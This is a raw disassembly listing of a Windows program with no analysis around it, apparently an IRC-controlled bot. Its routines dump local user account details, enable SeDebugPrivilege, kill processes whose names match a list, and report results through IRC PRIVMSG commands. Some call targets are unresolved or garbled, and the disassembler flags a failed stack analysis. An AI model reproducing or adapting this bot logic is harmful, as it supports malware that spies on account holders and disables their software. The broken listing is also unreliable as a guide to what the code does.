sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A0[eax*4] push offset unk_439120 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_4390F8 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439170 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439360 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43932C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 26A0000h nop lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_439694 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439668 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 27005B0h nop push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] call near ptr 2640897h nop mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2810000h nop test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439720 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 26F0CA4h test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 26F0CA4h nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_43989C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439878 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26C0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26608C0h mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 26F0CA4h test eax, eax jnz short loc_4199FB push esi xor edi, edi call near ptr 2640897h nop loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396BCh, 6A89E890h, 0E3EB0224h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC nop call near ptr 26E0000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h call near ptr 26604A7h nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 call near ptr 281096Ch nop test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 nop call near ptr 2810449h test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call near ptr 26604A7h nop jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 26F0000h test eax, eax jz short loc_419C41 